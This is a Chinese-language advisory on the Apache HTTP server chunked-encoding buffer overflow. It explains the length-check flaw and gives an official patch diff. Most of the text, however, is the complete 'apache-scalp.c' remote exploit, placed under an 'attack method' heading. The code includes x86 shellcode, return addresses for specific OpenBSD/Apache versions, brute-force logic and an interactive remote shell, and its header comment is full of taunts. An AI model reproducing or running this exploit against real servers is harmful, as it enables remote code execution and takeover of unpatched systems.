Apache HTTP server存在严重漏洞
注：很多商业的web服务器包括Oracle 9i、IBM Websphere都使用Apache HTTP server。Apache是目前使用得最多的web server软件之一，也是Open source的，被人们视为最好用的Free web服务器软件。
chunk encoding，是HTTP协议定义的用于接受web用户所提交数据的功能。当web用户提交数据后，web server需要为这些数据分配一个确定大小的缓冲区，但当提交的数据长度不确定的时候，客户端将通过与HTTP SERVER协商的机制创建一个数据块向web server提交数据。
Apache服务器缺省也提供了对块编码(chunked encoding)支持。Apache使用了一个有字符变量储存分块长度，同时分配了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑，在将块数据拷贝到缓冲区之前，Apache会对块长度进行检查，如果块长度大于缓冲区长度，Apache将最多只拷贝缓冲区长度的数据，否则，则根据块长度进行数据拷贝。然而在进行上述检查时，没有将块长度转换为非字符型进行比较，因此，如果攻击者将块长度设置成一个负值，就会绕过上述安全检查，Apache会将一个超长(至少>0x80000000字节)的块数据拷贝到缓冲区中，这会造成一个缓冲区溢出。
对于这个错误，Windows版本1.3.24和Unix版本1.x，有相同的攻击原理。现在已经证实在Win32系统下, 远程攻击者可能利用这一漏洞执行任意代码。
对于Apache 2.0到2.0.36(含2.0.36)，尽管存在同样的问题代码，但它会检测错误出现的条件并使子进程退出。
远程攻击者如果成功利用漏洞，可以修改web文件、发起拒绝服务和相关的，利用apache web server对系统的非法访问。
解决方案：
正式解决方案：下载补丁程序：
http://www.apache.org/dist/httpd/
或者：
切换到 apache安装目录的./src/main子目录，确认http_protocol.c在当前目录
创建一个补丁信息文件：apache_patch.diff，包含以下内容：
--- http_protocol.c.vuln Fri Jun 14 16:12:50 2002
+++ http_protocol.c Fri Jun 14 16:13:47 2002
@@ -2171,7 +2171,7 @@
/* Otherwise, we are in the midst of reading a chunk of data */
- len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
+ len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz : r->
remaining;
len_read = ap_bread(r->connection->client, buffer, len_to_read);
if (len_read <= 0) {
执行补丁指令，升级http_protocol.c文件。
重新编译apache并重新安装。
攻击方法：
更新攻击脚本：
/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* ". . . and Doug Sniff said it was a hole in Epic."
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who's left alone
* ---
*
* Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to accomplish. This vulnerability was recently rediscovered by a slew
* of researchers.
*
* The "experts" have already concurred that this bug...
* - Can not be exploited on 32-bit *nix variants
* - Is only exploitable on win32 platforms
* - Is only exploitable on certain 64-bit systems
*
* However, contrary to what ISS would have you believe, we have
* successfully exploited this hole on the following operating systems:
*
* Sun Solaris 6-8 (sparc/x86)
* FreeBSD 4.3-4.5 (x86)
* OpenBSD 2.6-3.1 (x86)
* Linux (GNU) 2.4 (x86)
*
* Don't get discouraged too quickly in your own research. It took us close
* to two months to be able to exploit each of the above operating systems.
* There is a peculiarity to be found for each operating system that makes the
* exploitation possible.
*
* Don't email us asking for technical help or begging for warez. We are
* busy working on many other wonderful things, including other remotely
* exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
* the community that those holes don't exist? We wonder who's paying her.
*
* This code is an early version from when we first began researching the
* vulnerability. It should spawn a shell on any unpatched OpenBSD system
* running the Apache webserver.
*
* We appreciate The Blue Boar's effort to allow us to post to his mailing
* list once again. Because he finally allowed us to post, we now have this
* very humble offering.
*
* This is a very serious vulnerability. After disclosing this exploit, we
* hope to have gained immense fame and glory.
*
* Testbeds: synnergy.net, monkey.org, 9mm.com
*
* Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
* bugs are great.
*
* [#!GOBBLES QUOTES]
*
* --- you just know 28923034839303 admins out there running
* OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
* weekend"
* --- "Five years without a remote hole in the default install". default
* package = kernel. if theo knew that talkd was exploitable, he'd cry.
* --- so funny how apache.org claims it's impossible to exploit this.
* --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?
* --- I hope Theo doesn't kill himself
* --- heh, this is a middle finger to all those open source, anti-"m$"
* idiots... slashdot hippies...
* --- they rushed to release this exploit so they could update their ISS
* scanner to have a module for this vulnerability, but it doesnt even
* work... it's just looking for win32 apache versions
* --- no one took us seriously when we mentioned this last year. we warned
* them that moderation == no pie.
* --- now try it against synnergy :>
* --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
*
* xxxx this thing is a major exploit. do you really wanna publish it?
* oooo i'm not afraid of whitehats
* xxxx the blackhats will kill you for posting that exploit
* oooo blackhats are a myth
* oooo so i'm not worried
* oooo i've never seen one
* oooo i guess it's sort of like having god in your life
* oooo i don't believe there's a god
* oooo but if i sat down and met him
* oooo i wouldn't walk away thinking
* oooo "that was one hell of a special effect"
* oooo so i suppose there very well could be a blackhat somewhere
* oooo but i doubt it... i've seen whitehat-blackhats with their ethics
* and deep philosophy...
*
* [GOBBLES POSERS/WANNABES]
*
* --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
* --- super@GOBBLES.NET (low-level.net)
*
* GOBBLES Security
* GOBBLES@hushmail.com
* http://www.bugtraq.org
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>
#define EXPLOIT_TIMEOUT 5 /* num seconds to wait before assuming it failed */
#define RET_ADDR_INC 512
#define MEMCPY_s1_OWADDR_DELTA -146
#define PADSIZE_1 4
#define PADSIZE_2 5
#define PADSIZE_3 7
#define REP_POPULATOR 24
#define REP_RET_ADDR 6
#define REP_ZERO 36
#define REP_SHELLCODE 24
#define NOPCOUNT 1024
#define NOP 0x41
#define PADDING_1 'A'
#define PADDING_2 'B'
#define PADDING_3 'C'
#define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b) memset(p, b, n); p += n;
#define SHELLCODE_LOCALPORT_OFF 30
char shellcode[] =
"\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
"\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
"\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
"\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
"\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
"\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
"\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
"\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
struct {
char *type;
u_long retaddr;
} targets[] = { // hehe, yes theo, that say OpenBSD here!
{ "OpenBSD 3.0 x86 / Apache 1.3.20", 0xcf92f },
{ "OpenBSD 3.0 x86 / Apache 1.3.22", 0x8f0aa },
{ "OpenBSD 3.0 x86 / Apache 1.3.24", 0x90600 },
{ "OpenBSD 3.1 x86 / Apache 1.3.20", 0x8f2a6 },
{ "OpenBSD 3.1 x86 / Apache 1.3.23", 0x90600 },
{ "OpenBSD 3.1 x86 / Apache 1.3.24", 0x9011a },
{ "OpenBSD 3.1 x86 / Apache 1.3.24 #2", 0x932ae },
};
int main(int argc, char *argv[]) {
char *hostp, *portp;
unsigned char buf[512], *expbuf, *p;
int i, j, lport;
int sock;
int bruteforce, owned, progress;
u_long retaddr;
struct sockaddr_in sin, from;
if(argc != 3) {
printf("Usage: %s <target#|base address> <ip[ort]>\n", argv[0]);
printf(" Using targets:\t./apache-scalp 3 127.0.0.1:8080\n");
printf(" Using bruteforce:\t./apache-scalp 0x8f000 127.0.0.1:8080\n");
printf("\n--- --- - Potential targets list - --- ----\n");
printf("Target ID / Target specification\n");
for(i = 0; i < sizeof(targets)/8; i++)
printf("\t%d / %s\n", i, targets.type);
return -1;
}
hostp = strtok(argv[2], ":");
if((portp = strtok(NULL, ":")) == NULL)
portp = "80";
retaddr = strtoul(argv[1], NULL, 16);
if(retaddr < sizeof(targets)/8) {
retaddr = targets[retaddr].retaddr;
bruteforce = 0;
}
else
bruteforce = 1;
srand(getpid());
signal(SIGPIPE, SIG_IGN);
for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {
/* skip invalid return adresses */
i = retaddr & 0xff;
if(i == 0x0a || i == 0x0d)
retaddr++;
else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
continue;
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(hostp);
sin.sin_port = htons(atoi(portp));
if(!progress)
printf("\n Connecting.. ");
fflush(stdout);
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
perror("connect()");
exit(1);
}
if(!progress)
printf("connected!\n");
/* Setup the local port in our shellcode */
i = sizeof(from);
if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
perror("getsockname()");
exit(1);
}
lport = ntohs(from.sin_port);
shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;
p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
+ ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));
PUT_STRING("GET / HTTP/1.1\r\nHost: apache-scalp.c\r\n");
for (i = 0; i < REP_SHELLCODE; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_3, PADDING_3);
PUT_STRING(": ");
PUT_BYTES(NOPCOUNT, NOP);
memcpy(p, shellcode, sizeof(shellcode) - 1);
p += sizeof(shellcode) - 1;
PUT_STRING("\r\n");
}
for (i = 0; i < REP_POPULATOR; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_1, PADDING_1);
PUT_STRING(": ");
for (j = 0; j < REP_RET_ADDR; j++) {
*p++ = retaddr & 0xff;
*p++ = (retaddr >> 8) & 0xff;
*p++ = (retaddr >> 16) & 0xff;
*p++ = (retaddr >> 24) & 0xff;
}
PUT_BYTES(REP_ZERO, 0);
PUT_STRING("\r\n");
}
PUT_STRING("Transfer-Encoding: chunked\r\n");
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
PUT_STRING(buf);
PUT_BYTES(PADSIZE_2, PADDING_2);
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
PUT_STRING(buf);
write(sock, expbuf, p - expbuf);
progress++;
if((progress%70) == 0)
progress = 1;
if(progress == 1) {
memset(buf, 0, sizeof(buf));
sprintf(buf, "\r Currently using retaddr 0x%lx, length %u, localport %u",
retaddr, (unsigned int)(p - expbuf), lport);
memset(buf + strlen(buf), ' ', 74 - strlen(buf));
puts(buf);
if(bruteforce)
putchar(';');
}
else
putchar((rand()%2)? 'P': 'p');
fflush(stdout);
while (1) {
fd_set fds;
int n;
struct timeval tv;
tv.tv_sec = EXPLOIT_TIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
memset(buf, 0, sizeof(buf));
if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
if(FD_ISSET(sock, &fds)) {
if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
break;
if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
printf("\nGOBBLE GOBBLE!@#%%)*#\n");
printf("retaddr 0x%lx did the trick!\n", retaddr);
sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
write(sock, expbuf, strlen(expbuf));
owned++;
}
write(1, buf, n);
}
if(FD_ISSET(0, &fds)) {
if((n = read(0, buf, sizeof(buf) - 1)) < 0)
exit(1);
write(sock, buf, n);
}
}
if(!owned)
break;
}
free(expbuf);
close(sock);
if(owned)
return 0;
if(!bruteforce) {
fprintf(stderr, "Ooops.. hehehe!\n");
return -1;
}
}
return 0;
}
